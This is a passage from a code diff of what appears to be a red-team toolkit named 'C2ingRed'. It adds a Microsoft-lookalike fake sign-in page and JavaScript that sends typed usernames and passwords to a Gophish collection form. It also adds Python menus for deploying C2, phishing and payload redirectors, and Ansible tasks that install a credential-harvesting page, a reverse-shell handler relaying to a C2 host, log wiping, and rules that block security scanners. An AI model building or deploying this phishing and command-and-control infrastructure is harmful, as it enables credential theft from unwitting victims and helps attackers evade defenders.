// Create hidden form for Gophish
var form = document.createElement('form');
form.method = 'POST';
form.action = '';
form.style.display = 'none';
var userInput = document.createElement('input');
userInput.type = 'hidden';
userInput.name = 'username';
userInput.value = usernameField.value;
form.appendChild(userInput);
var passInput = document.createElement('input');
passInput.type = 'hidden';
passInput.name = 'password';
passInput.value = passwordField.value;
form.appendChild(passInput);
document.body.appendChild(form);
form.submit();
}
}, 100);
});
}
}, 2000);
});
}
}());
</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
window.addEventListener('load', function(event) {
function applyStyle(id, styleDef) {
if (styleDef) {
var el = document.getElementById(id);
if (!el) {
return;
}
el.classList.add(styleDef);
}
}
applyStyle('login-bg-image', 'bgStyle');
applyStyle('login-bg-image-ie8', 'bgStyleIE8');
});
</script></body>
</html>
@@ -0,0 +1,220 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{ page_title | default('Sign in to your account') }}</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: #f2f2f2;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
background: white;
padding: 40px;
border-radius: 2px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
width: 440px;
max-width: 90%;
}
.logo {
text-align: left;
margin-bottom: 24px;
}
.logo img {
height: 24px;
}
h1 {
font-size: 24px;
font-weight: 600;
margin-bottom: 16px;
color: #1a1a1a;
}
.form-group {
margin-bottom: 16px;
}
input[type="email"],
input[type="password"],
input[type="text"] {
width: 100%;
padding: 10px 12px;
border: 1px solid #605e5c;
border-radius: 2px;
font-size: 15px;
transition: border-color 0.2s;
}
input[type="email"]:focus,
input[type="password"]:focus,
input[type="text"]:focus {
outline: none;
border-color: #0078d4;
}
.forgot-password {
display: block;
margin: 8px 0 16px;
color: #0078d4;
text-decoration: none;
font-size: 13px;
}
.forgot-password:hover {
text-decoration: underline;
}
.btn-primary {
width: 100%;
padding: 12px;
background: #0078d4;
color: white;
border: none;
border-radius: 2px;
font-size: 16px;
cursor: pointer;
transition: background 0.2s;
}
.btn-primary:hover {
background: #106ebe;
}
.error-message {
color: #d13438;
font-size: 13px;
margin-top: 8px;
display: none;
}
.loading {
display: none;
text-align: center;
margin-top: 20px;
}
.spinner {
border: 2px solid #f3f3f3;
border-top: 2px solid #0078d4;
border-radius: 50%;
width: 20px;
height: 20px;
animation: spin 1s linear infinite;
display: inline-block;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.footer {
margin-top: 40px;
font-size: 12px;
color: #605e5c;
text-align: center;
}
.footer a {
color: #605e5c;
text-decoration: none;
}
.footer a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<img src="{{ logo_url | default('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDgiIGhlaWdodD0iMjQiPjx0ZXh0IHg9IjAiIHk9IjIwIiBmb250LWZhbWlseT0iU2Vnb2UgVUkiIGZvbnQtc2l6ZT0iMjAiIGZpbGw9IiM1YzJkOTEiPk1pY3Jvc29mdDwvdGV4dD48L3N2Zz4=') }}" alt="Logo">
</div>
<h1>{{ heading | default('Sign in') }}</h1>
<form id="loginForm" method="POST" action="/capture.php">
<input type="hidden" name="rid" value="{{ '{{.RId}}' }}">
<input type="hidden" name="campaign" value="{{ '{{.Campaign}}' }}">
<div class="form-group">
<input type="email"
name="username"
id="username"
placeholder="{{ username_placeholder | default('Email, phone, or Skype') }}"
required>
</div>
<div class="form-group">
<input type="password"
name="password"
id="password"
placeholder="{{ password_placeholder | default('Password') }}"
required>
</div>
<a href="#" class="forgot-password">{{ forgot_text | default('Forgot password?') }}</a>
<div class="error-message" id="error">
{{ error_message | default('Invalid username or password.') }}
</div>
<button type="submit" class="btn-primary">
{{ button_text | default('Sign in') }}
</button>
<div class="loading" id="loading">
<div class="spinner"></div>
<p>{{ loading_text | default('Signing in...') }}</p>
</div>
</form>
<div class="footer">
<a href="#">{{ footer_link1 | default('Terms of use') }}</a> |
<a href="#">{{ footer_link2 | default('Privacy & cookies') }}</a>
</div>
</div>
<script>
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
// Show loading state
document.getElementById('loading').style.display = 'block';
document.querySelector('.btn-primary').style.display = 'none';
// Submit form data
fetch(this.action, {
method: 'POST',
body: new FormData(this)
})
.then(response => {
// Redirect after a delay to simulate processing
setTimeout(() => {
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
}, 2000);
})
.catch(error => {
document.getElementById('error').style.display = 'block';
document.getElementById('loading').style.display = 'none';
document.querySelector('.btn-primary').style.display = 'block';
});
});
</script>
</body>
</html>
+258
View File
@@ -0,0 +1,258 @@
#!/usr/bin/env python3
"""
Redirector infrastructure deployment module
"""
import os
import sys
import logging
# Add the project root to the path so we can import utils
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
from utils.common import (
COLORS, clear_screen, print_banner, generate_deployment_id,
setup_logging, get_public_ip, confirm_action, wait_for_input
)
from utils.provider_utils import select_provider, gather_provider_config
from utils.ssh_utils import generate_ssh_key
def gather_redirector_parameters():
"""Collect parameters specific to redirector deployments"""
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}REDIRECTOR INFRASTRUCTURE SETUP{COLORS['RESET']}")
print(f"{COLORS['WHITE']}================================{COLORS['RESET']}")
config = {}
# Generate deployment ID
config['deployment_id'] = generate_deployment_id()
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
# Provider selection
provider = select_provider()
if not provider:
return None
config['provider'] = provider
# Get provider-specific configuration
provider_config = gather_provider_config(provider)
if not provider_config:
return None
config.update(provider_config)
# Redirector-specific configuration
print(f"\n{COLORS['BLUE']}Redirector Configuration{COLORS['RESET']}")
# Domain configuration
domain = input(f"Domain for redirector [required]: ")
if not domain:
print(f"{COLORS['RED']}A domain is required for redirector deployments{COLORS['RESET']}")
return None
config['domain'] = domain
# Subdomain configuration
config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn"
# Backend configuration
backend_type = input("Backend type (c2/phishing/payload) [default: c2]: ") or "c2"
config['backend_type'] = backend_type
if backend_type in ['c2', 'phishing']:
backend_ip = input(f"Backend {backend_type} server IP [required]: ")
if not backend_ip:
print(f"{COLORS['RED']}Backend server IP is required{COLORS['RESET']}")
return None
config['backend_ip'] = backend_ip
backend_port = input(f"Backend {backend_type} server port [default: 443]: ") or "443"
config['backend_port'] = backend_port
# Redirector type
print(f"\n{COLORS['BLUE']}Redirector Type:{COLORS['RESET']}")
print(f"1) HTTPS Redirector")
print(f"2) DNS Redirector")
print(f"3) SMTP Redirector")
redirector_choice = input("Select redirector type [default: 1]: ") or "1"
redirector_types = {
"1": "https",
"2": "dns",
"3": "smtp"
}
config['redirector_type'] = redirector_types.get(redirector_choice, "https")
# Email for Let's Encrypt (for HTTPS redirectors)
if config['redirector_type'] == 'https':
default_email = f"admin@{config['domain']}"
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
# Get operator IP for security
suggested_ip = get_public_ip()
if suggested_ip:
operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip
else:
operator_ip = input("Your public IP for secure access: ")
config['operator_ip'] = operator_ip
# SSH key generation
ssh_key_path = generate_ssh_key(config['deployment_id'])
if not ssh_key_path:
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
return None
config['ssh_key_path'] = f"{ssh_key_path}.pub"
# Post-deployment options
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
return config
def redirector_menu():
"""Display the redirector submenu and handle user selection"""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}REDIRECTOR INFRASTRUCTURE MENU{COLORS['RESET']}")
print(f"{COLORS['WHITE']}==============================={COLORS['RESET']}")
print(f"1) C2 Redirector {COLORS['GREEN']}*COMMON*{COLORS['RESET']} {COLORS['GRAY']}(C2 traffic redirection){COLORS['RESET']}")
print(f"2) HTTPS Redirector {COLORS['GRAY']}(Web traffic redirection){COLORS['RESET']}")
print(f"3) Payload Redirector {COLORS['GRAY']}(Payload delivery redirection){COLORS['RESET']}")
print(f"4) Phishing Redirector {COLORS['GRAY']}(Phishing traffic redirection){COLORS['RESET']}")
print(f"5) DNS Redirector {COLORS['GRAY']}(DNS-based redirection){COLORS['RESET']}")
print(f"6) SMTP Redirector {COLORS['GRAY']}(Email traffic redirection){COLORS['RESET']}")
print(f"99) Return to Main Menu")
choice = input(f"\nSelect an option: ")
if choice == "1":
deploy_c2_redirector()
elif choice == "2":
deploy_https_redirector()
elif choice == "3":
deploy_payload_redirector()
elif choice == "4":
deploy_phishing_redirector()
elif choice == "5":
deploy_dns_redirector()
elif choice == "6":
deploy_smtp_redirector()
elif choice == "99":
return
else:
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
wait_for_input()
def deploy_https_redirector():
"""Deploy HTTPS redirector"""
config = gather_redirector_parameters()
if not config:
return
config['redirector_type'] = 'https'
config['deployment_type'] = 'https_redirector'
print(f"\n{COLORS['GREEN']}Deploying HTTPS redirector...{COLORS['RESET']}")
execute_redirector_deployment(config)
def deploy_dns_redirector():
"""Deploy DNS redirector"""
config = gather_redirector_parameters()
if not config:
return
config['redirector_type'] = 'dns'
config['deployment_type'] = 'dns_redirector'
print(f"\n{COLORS['GREEN']}Deploying DNS redirector...{COLORS['RESET']}")
execute_redirector_deployment(config)
def deploy_smtp_redirector():
"""Deploy SMTP redirector"""
config = gather_redirector_parameters()
if not config:
return
config['redirector_type'] = 'smtp'
config['deployment_type'] = 'smtp_redirector'
print(f"\n{COLORS['GREEN']}Deploying SMTP redirector...{COLORS['RESET']}")
execute_redirector_deployment(config)
def deploy_payload_redirector():
"""Deploy payload redirector"""
config = gather_redirector_parameters()
if not config:
return
config['backend_type'] = 'payload'
config['deployment_type'] = 'payload_redirector'
print(f"\n{COLORS['GREEN']}Deploying payload redirector...{COLORS['RESET']}")
execute_redirector_deployment(config)
def deploy_phishing_redirector():
"""Deploy phishing redirector"""
config = gather_redirector_parameters()
if not config:
return
config['backend_type'] = 'phishing'
config['deployment_type'] = 'phishing_redirector'
print(f"\n{COLORS['GREEN']}Deploying phishing redirector...{COLORS['RESET']}")
execute_redirector_deployment(config)
def deploy_c2_redirector():
"""Deploy C2 redirector"""
config = gather_redirector_parameters()
if not config:
return
config['backend_type'] = 'c2'
config['deployment_type'] = 'c2_redirector'
print(f"\n{COLORS['GREEN']}Deploying C2 redirector...{COLORS['RESET']}")
execute_redirector_deployment(config)
def execute_redirector_deployment(config):
"""Execute redirector infrastructure deployment"""
clear_screen()
print_banner()
print(f"\n{COLORS['GREEN']}Starting redirector deployment...{COLORS['RESET']}")
# Display configuration summary
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
print(f"Deployment Type: {config['deployment_type']}")
print(f"Deployment ID: {config['deployment_id']}")
print(f"Provider: {config['provider']}")
print(f"Domain: {config['domain']}")
print(f"Redirector Type: {config['redirector_type']}")
print(f"Backend Type: {config.get('backend_type', 'N/A')}")
# Confirm deployment
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with redirector deployment?{COLORS['RESET']}", default=False):
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
return
# Set deployment flags for redirector-only deployment
config['redirector_only'] = True
config['c2_only'] = False
# Execute the actual deployment using the deployment engine
from utils.deployment_engine import deploy_infrastructure
success = deploy_infrastructure(config)
if success:
print(f"\n{COLORS['GREEN']}Redirector infrastructure deployed successfully!{COLORS['RESET']}")
if config.get('ssh_after_deploy'):
from utils.ssh_utils import ssh_to_instance
ssh_to_instance(config)
else:
print(f"\n{COLORS['RED']}Redirector infrastructure deployment failed.{COLORS['RESET']}")
wait_for_input()
if __name__ == "__main__":
redirector_menu()
@@ -0,0 +1,158 @@
#!/bin/bash
# post_install_redirector.sh - Post-installation setup for redirector
# ANSI color codes
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
echo -e "${BLUE}==================================================${NC}"
echo -e "${BLUE} C2ingRed Post-Installation Setup - Redirector ${NC}"
echo -e "${BLUE}==================================================${NC}"
# Function to check if domain resolves to current IP
check_dns() {
domain=$1
current_ip=$(curl -s ifconfig.me)
resolved_ip=$(dig +short $domain)
if [ "$resolved_ip" = "$current_ip" ]; then
echo -e "${GREEN}DNS check passed for $domain!${NC}"
return 0
else
echo -e "${YELLOW}DNS check failed for $domain${NC}"
echo -e "Current IP: $current_ip"
echo -e "Resolved IP: $resolved_ip or not set"
return 1
fi
}
# Function to set up Let's Encrypt
setup_letsencrypt() {
domain=$1
email=$2
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
# Check if certificate already exists
if [ -d "/etc/letsencrypt/live/$domain" ]; then
echo -e "${YELLOW}Certificate already exists for $domain${NC}"
read -p "Do you want to renew it? (y/n): " renew
if [ "$renew" != "y" ]; then
echo -e "${YELLOW}Skipping certificate renewal${NC}"
return 0
fi
fi
# Stop nginx if running to free up port 80
systemctl stop nginx 2>/dev/null
# Get certificate
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
if [ $? -eq 0 ]; then
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
return 0
else
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
return 1
fi
}
# Function to update NGINX configuration
update_nginx_config() {
domain=$1
# Check if NGINX config exists and contains the domain
if [ -f "/etc/nginx/sites-available/default" ]; then
if grep -q "$domain" "/etc/nginx/sites-available/default"; then
echo -e "\n${BLUE}Updating NGINX configuration to use SSL certificate${NC}"
# Update SSL certificate paths
sed -i "s|ssl_certificate .*|ssl_certificate /etc/letsencrypt/live/$domain/fullchain.pem;|" /etc/nginx/sites-available/default
sed -i "s|ssl_certificate_key .*|ssl_certificate_key /etc/letsencrypt/live/$domain/privkey.pem;|" /etc/nginx/sites-available/default
echo -e "${GREEN}NGINX configuration updated${NC}"
else
echo -e "${YELLOW}Domain $domain not found in NGINX configuration${NC}"
fi
else
echo -e "${RED}NGINX configuration file not found${NC}"
fi
}
# Function to start services
start_services() {
echo -e "\n${BLUE}Starting required services${NC}"
# Start nginx
systemctl start nginx
if [ $? -eq 0 ]; then
echo -e "${GREEN}NGINX started successfully${NC}"
systemctl enable nginx
else
echo -e "${RED}Failed to start NGINX${NC}"
fi
# Start shell handler
systemctl start shell-handler
if [ $? -eq 0 ]; then
echo -e "${GREEN}Shell handler started successfully${NC}"
systemctl enable shell-handler
else
echo -e "${RED}Failed to start shell handler${NC}"
fi
}
# Function to display port information
show_port_info() {
# Display shell handler port
if [ -f "/etc/systemd/system/shell-handler.service" ]; then
SHELL_PORT=$(grep "LISTEN_PORT=" /root/Tools/shell-handler/persistent-listener.sh | cut -d'=' -f2)
echo -e "\n${BLUE}Shell Handler Port Information:${NC}"
echo -e "Shell Handler is using port: ${GREEN}$SHELL_PORT${NC}"
fi
# Display nginx listening ports
echo -e "\n${BLUE}NGINX Listening Ports:${NC}"
netstat -tulnp | grep nginx
}
# Main execution
echo -e "\n${BLUE}Beginning redirector setup process...${NC}"
# Get domain information
read -p "Enter redirector domain (e.g., cdn.example.com): " redirector_domain
read -p "Enter email for Let's Encrypt: " email
# Check if DNS is properly configured
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
check_dns $redirector_domain
# Confirm proceeding even if DNS check fails
if [ $? -ne 0 ]; then
echo -e "${YELLOW}DNS check failed but we can proceed anyway.${NC}"
echo -e "${YELLOW}Make sure to set up DNS records before trying to obtain certificates.${NC}"
read -p "Do you want to proceed anyway? (y/n): " proceed
if [ "$proceed" != "y" ]; then
echo -e "${RED}Setup aborted.${NC}"
exit 1
fi
fi
# Set up Let's Encrypt
setup_letsencrypt $redirector_domain $email
# Update NGINX configuration
update_nginx_config $redirector_domain
# Start services
start_services
# Show port information
show_port_info
echo -e "\n${GREEN}Redirector setup complete!${NC}"
echo -e "${YELLOW}Make sure DNS records are properly configured for continued operation.${NC}"
@@ -0,0 +1,468 @@
---
# Common task for configuring redirector with full encryption
# Shared across all providers
- name: Set a custom MOTD
template:
src: "../templates/motd-redirector.j2"
dest: /etc/motd
owner: root
group: root
mode: '0644'
- name: Update package cache with retries
apt:
update_cache: yes
cache_valid_time: 0
register: cache_update
until: cache_update is success
retries: 5
delay: 10
ignore_errors: false
- name: Install core packages first (high priority)
apt:
name:
- nginx
- nginx-extras
- socat
- jq
- secure-delete
state: present
update_cache: no
register: core_packages
until: core_packages is success
retries: 3
delay: 5
- name: Install network utilities with fallbacks
block:
- name: Try to install net-tools
apt:
name: net-tools
state: present
update_cache: no
register: net_tools_install
rescue:
- name: Install alternative network utilities
apt:
name:
- iproute2
- iputils-ping
- netcat-openbsd
state: present
update_cache: no
register: alt_network_tools
- name: Create net-tools compatibility aliases
copy:
dest: /usr/local/bin/netstat
content: |
#!/bin/bash
# Compatibility wrapper for netstat using ss
ss "$@"
mode: '0755'
when: alt_network_tools is success
- name: Install PHP-FPM with version handling
block:
- name: Install PHP-FPM (latest available)
apt:
name: php-fpm
state: present
update_cache: no
register: php_install
rescue:
- name: Install specific PHP version as fallback
apt:
name:
- php7.4-fpm
- php7.4-cli
state: present
update_cache: no
register: php_fallback
- name: Install certbot with dependency handling
block:
- name: Install certbot and nginx plugin
apt:
name:
- certbot
- python3-certbot-nginx
state: present
update_cache: no
register: certbot_install
rescue:
- name: Install certbot without problematic dependencies
shell: |
apt-get install -y --no-install-recommends certbot
apt-get install -y --fix-broken || true
register: certbot_manual
ignore_errors: true
- name: Install certbot via snap as ultimate fallback
block:
- name: Install snap if not present
apt:
name: snapd
state: present
- name: Install certbot via snap
snap:
name: certbot
classic: yes
- name: Create certbot symlink
file:
src: /snap/bin/certbot
dest: /usr/bin/certbot
state: link
when: certbot_manual is failed
- name: Handle problematic Python dependencies
block:
- name: Try installing Python dependencies normally
apt:
name:
- python3-requests-toolbelt
- python3-zope.hookable
state: present
update_cache: no
register: python_deps
rescue:
- name: Install Python dependencies via pip as fallback
pip:
name:
- requests-toolbelt
- zope.hookable
state: present
register: pip_install
ignore_errors: true
- name: Download and install packages manually if repositories are down
shell: |
cd /tmp
# Try alternative repositories
wget -q http://archive.ubuntu.com/ubuntu/pool/universe/p/python-requests-toolbelt/python3-requests-toolbelt_0.8.0-1.1_all.deb || \
wget -q http://launchpad.net/ubuntu/+archive/primary/+files/python3-requests-toolbelt_0.8.0-1.1_all.deb || true
if [ -f python3-requests-toolbelt_*.deb ]; then
dpkg -i python3-requests-toolbelt_*.deb || apt-get install -f -y
fi
when: pip_install is failed
ignore_errors: true
- name: Verify critical packages are installed
command: "{{ item.cmd }}"
register: package_verify
failed_when: package_verify.rc != 0
loop:
- { cmd: "nginx -v", name: "nginx" }
- { cmd: "socat -V", name: "socat" }
- { cmd: "jq --version", name: "jq" }
- { cmd: "which certbot", name: "certbot" }
ignore_errors: true
- name: Create package installation report
debug:
msg: |
C2ingRed Package Installation Status:
===================================
Core Packages: {{ 'SUCCESS' if core_packages is success else 'FAILED' }}
Network Tools: {{ 'SUCCESS' if net_tools_install is success else 'FALLBACK USED' }}
PHP-FPM: {{ 'SUCCESS' if php_install is success else 'FALLBACK USED' if php_fallback is success else 'FAILED' }}
Certbot: {{ 'SUCCESS' if certbot_install is success else 'FALLBACK USED' }}
Python Deps: {{ 'SUCCESS' if python_deps is success else 'FALLBACK ATTEMPTED' }}
Critical Services Verified:
{% for item in package_verify.results %}
- {{ item.item.name }}: {{ 'OK' if item.rc == 0 else 'MISSING' }}
{% endfor %}
- name: Force fix broken packages if any installation failed
shell: |
apt-get update --fix-missing
apt-get install -f -y
dpkg --configure -a
when: core_packages is failed or certbot_install is failed
register: fix_broken
ignore_errors: true
- name: Final package status check and remediation
block:
- name: Check for any remaining broken packages
shell: apt-get check
register: apt_check
failed_when: false
- name: List installed packages for verification
shell: |
echo "=== INSTALLED PACKAGES ==="
dpkg -l | grep -E "(nginx|certbot|socat|jq|php)" || echo "Some packages missing"
echo "=== BROKEN PACKAGES ==="
apt-get check 2>&1 | grep -i "broken\|error" || echo "No broken packages detected"
register: final_status
- name: Display final installation status
debug:
var: final_status.stdout_lines
- name: Detect installed PHP-FPM service
shell: |
# Try to find any PHP-FPM service
if systemctl list-units --type=service --all | grep -q 'php.*fpm'; then
systemctl list-units --type=service --all | grep 'php.*fpm' | head -1 | awk '{print $1}' | sed 's/\.service//'
else
echo "php-fpm"
fi
register: php_fpm_service
failed_when: false
- name: Ensure critical services are enabled
systemd:
name: "{{ item }}"
enabled: yes
state: started
loop:
- nginx
- "{{ php_fpm_service.stdout }}"
ignore_errors: true
register: service_start
- name: Create operational readiness marker
copy:
dest: /tmp/c2ingred_packages_ready
content: |
C2ingRed Package Installation Complete
Timestamp: {{ ansible_date_time.iso8601 }}
Status: {{ 'READY' if core_packages is success else 'PARTIAL' }}
mode: '0644'
- name: Create directories for operational scripts
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /root/Tools
- /root/Tools/shell-handler
- name: Copy clean-logs.sh script
copy:
src: "../../../common/files/clean-logs.sh"
dest: /root/Tools/clean-logs.sh
mode: '0700'
owner: root
group: root
- name: Copy redirector post-install script
copy:
src: "../../../common/files/post_install_redirector.sh"
dest: "/root/Tools/post_install_redirector.sh"
mode: '0700'
owner: root
group: root
- name: Copy port randomization script
copy:
src: "../../../common/files/randomize_ports.sh"
dest: "/root/Tools/randomize_ports.sh"
mode: '0700'
owner: root
group: root
- name: Create redirector post-install instructions
copy:
content: |
================================================================
C2ingRed Redirector Post-Installation Instructions
================================================================
To complete your setup with SSL certificates, run:
/root/Tools/post_install_redirector.sh
This script will guide you through:
- Setting up Let's Encrypt certificates
- Starting required services
- Updating NGINX configuration
For enhanced OPSEC, you can also randomize ports:
/root/Tools/randomize_ports.sh
Run these after you've configured your DNS records to point to this server.
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
mode: '0644'
owner: root
group: root
- name: Copy shell handler script
copy:
src: "../../c2/files/havoc_shell_handler.sh"
dest: /root/Tools/shell-handler/persistent-listener.sh
mode: '0700'
owner: root
group: root
- name: Configure shell handler script with C2 IP
replace:
path: /root/Tools/shell-handler/persistent-listener.sh
regexp: 'C2_HOST="127.0.0.1"'
replace: 'C2_HOST="{{ c2_ip }}"'
- name: Configure shell handler script with listening port
template:
src: "../../c2/files/havoc_shell_handler.sh"
dest: "/root/Tools/shell_handler.sh"
mode: 0755
vars:
listen_port: "{{ shell_handler_port | default(8083) }}"
- name: Create shell handler service
template:
src: "../templates/shell-handler.service.j2"
dest: /etc/systemd/system/shell-handler.service
mode: '0644'
owner: root
group: root
- name: Configure NGINX for zero-logging if enabled
template:
src: "../templates/nginx.conf.j2"
dest: /etc/nginx/nginx.conf
mode: '0644'
owner: root
group: root
when: zero_logs | default(false) | bool
- name: Create payload directory
file:
path: /var/www/resources
state: directory
mode: '0755'
owner: www-data
group: www-data
- name: Include traffic flow configuration
include_tasks: "../../common/tasks/traffic_flow_config.yml"
# Run port randomization if enabled
- name: Run port randomization if enabled
include_tasks: "../../common/tasks/port_randomization.yml"
when: randomize_ports | default(true) | bool
# Add just before configuring NGINX
- name: Check if snakeoil certificates exist
stat:
path: /etc/ssl/certs/ssl-cert-snakeoil.pem
register: snakeoil_cert
- name: Generate self-signed certificates if snakeoil not available
block:
- name: Create directory for self-signed certificates
file:
path: /etc/nginx/conf.d
state: directory
mode: '0755'
- name: Generate self-signed certificate
shell: |
openssl req -x509 -nodes -days 3650 -newkey rsa:2048 \
-keyout /etc/nginx/conf.d/selfsigned.key \
-out /etc/nginx/conf.d/selfsigned.crt \
-subj "/C=US/ST=State/L=City/O=Organization/CN=localhost"
args:
creates: /etc/nginx/conf.d/selfsigned.crt
when: not snakeoil_cert.stat.exists
# Configure nginx for dual HTTP/HTTPS with complete encryption
- name: Configure NGINX for secure C2 redirection
template:
src: "../templates/redirector-site.conf.j2"
dest: /etc/nginx/sites-available/default
mode: '0644'
owner: root
group: root
- name: Create legitimate-looking index.html
template:
src: "../templates/redirector-index.html.j2"
dest: /var/www/html/index.html
mode: '0644'
owner: www-data
group: www-data
- name: Create SSL certificate setup instructions
template:
src: "../templates/setup-cert.sh.j2"
dest: /root/Tools/setup-cert.sh
mode: '0700'
owner: root
group: root
- name: Configure NGINX stream module for TCP traffic
template:
src: "../templates/stream.conf.j2"
dest: /etc/nginx/modules-enabled/stream.conf
mode: '0644'
owner: root
group: root
- name: Create credential harvesting directory
file:
path: /var/www/login
state: directory
mode: '0755'
owner: www-data
group: www-data
# Create secure storage outside web root
- name: Create secure credential storage
file:
path: /var/private/creds
state: directory
mode: '0700' # Only owner access
owner: www-data
group: www-data
- name: Deploy credential harvesting page
template:
src: "../templates/fake-login.html.j2"
dest: "/var/www/login/auth.html"
mode: '0644'
owner: www-data
group: www-data
- name: Deploy credential capture script
template:
src: "../templates/capture.php.j2"
dest: "/var/www/login/process.php"
mode: '0644'
owner: www-data
group: www-data
- name: Install PHP for credential processing
apt:
name: php-fpm
state: present
update_cache: yes
- name: Start and enable shell handler service
systemd:
name: shell-handler
state: started
enabled: yes
daemon_reload: yes
- name: Set up cron job for log cleaning if zero-logs enabled
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
when: zero_logs | default(false) | bool
@@ -0,0 +1,9 @@
<?php
// OMITTED — credential capture handler
//
// PHP script deployed to phishing redirector. Receives POST data from the
// cloned login form, logs credentials with timestamp and source IP to an
// encrypted local file, then transparently forwards the victim to the
// legitimate site to avoid suspicion.
//
// Omitted from public release. Present in operational deployments.
@@ -0,0 +1,157 @@
---
# Configure phishing redirector with advanced evasion techniques
- name: Install packages for phishing redirector
apt:
name:
- nginx
- nginx-extras
- certbot
- python3-certbot-nginx
- socat
- netcat-openbsd
- jq
- curl
- geoip-database
- libgeoip1
- php-fpm
- php-geoip
state: present
- name: Configure advanced nginx for phishing redirector
template:
src: "../templates/phishing/nginx-phishing-redirector.j2"
dest: /etc/nginx/sites-available/phishing-redirector
mode: '0644'
notify: restart nginx
- name: Enable phishing redirector site
file:
src: /etc/nginx/sites-available/phishing-redirector
dest: /etc/nginx/sites-enabled/phishing-redirector
state: link
notify: restart nginx
- name: Remove default nginx site
file:
path: /etc/nginx/sites-enabled/default
state: absent
notify: restart nginx
- name: Create legitimate website content
template:
src: "../templates/phishing/legitimate-website.html.j2"
dest: /var/www/html/index.html
mode: '0644'
- name: Create robots.txt for SEO legitimacy
copy:
dest: /var/www/html/robots.txt
content: |
User-agent: *
Allow: /
Sitemap: https://{{ phishing_subdomain }}.{{ phishing_domain }}/sitemap.xml
- name: Create sitemap for legitimacy
template:
src: "../templates/phishing/sitemap.xml.j2"
dest: /var/www/html/sitemap.xml
mode: '0644'
- name: Install MaxMind GeoIP for location-based filtering
get_url:
url: "https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-Country&license_key={{ maxmind_license_key | default('') }}&suffix=tar.gz"
dest: /tmp/geoip.tar.gz
when: maxmind_license_key is defined
ignore_errors: yes
- name: Create security research filtering script
template:
src: "../templates/phishing/security-filter.lua.j2"
dest: /etc/nginx/security-filter.lua
mode: '0644'
- name: Configure nginx stream module for advanced traffic analysis
template:
src: "../templates/phishing/stream-analysis.conf.j2"
dest: /etc/nginx/modules-enabled/stream-analysis.conf
mode: '0644'
- name: Create phishing campaign analytics
template:
src: "../templates/phishing/analytics.js.j2"
dest: /var/www/html/analytics.js
mode: '0644'
- name: Set up legitimate SSL certificate
shell: |
certbot --nginx -d {{ phishing_subdomain }}.{{ phishing_domain }} \
--non-interactive --agree-tos -m {{ letsencrypt_email }}
args:
creates: /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ phishing_domain }}/fullchain.pem
ignore_errors: yes
- name: Create fail2ban configuration for suspicious activity
copy:
dest: /etc/fail2ban/jail.d/phishing-protection.conf
content: |
[phishing-scanner-protection]
enabled = true
port = 80,443
filter = phishing-scanner
logpath = /var/log/nginx/access.log
maxretry = 3
bantime = 3600
findtime = 300
- name: Create fail2ban filter for security tools
copy:
dest: /etc/fail2ban/filter.d/phishing-scanner.conf
content: |
[Definition]
failregex = ^<HOST>.*"(GET|POST).*(nmap|nikto|sqlmap|burp|w3af|nessus|openvas).*"
^<HOST>.*".*User-Agent.*(scanner|bot|crawl|security|test).*"
^<HOST>.*"(GET|POST).*\.(php|asp|jsp)\?.*"
ignoreregex =
- name: Start and enable fail2ban
systemd:
name: fail2ban
state: started
enabled: yes
- name: Create traffic monitoring script
template:
src: "../templates/phishing/traffic-monitor.sh.j2"
dest: /root/Tools/traffic-monitor.sh
mode: '0755'
- name: Set up traffic monitoring cron
cron:
name: "Monitor phishing traffic"
minute: "*/5"
job: "/root/Tools/traffic-monitor.sh >> /var/log/phishing-traffic.log 2>&1"
- name: Configure rate limiting for suspicious patterns
blockinfile:
path: /etc/nginx/nginx.conf
insertbefore: "http {"
block: |
# Rate limiting zones
limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;
limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
# GeoIP configuration
geoip_country /usr/share/GeoIP/GeoIP.dat;
map $geoip_country_code $allowed_country {
default 1;
CN 0;
RU 0;
KP 0;
}
handlers:
- name: restart nginx
service:
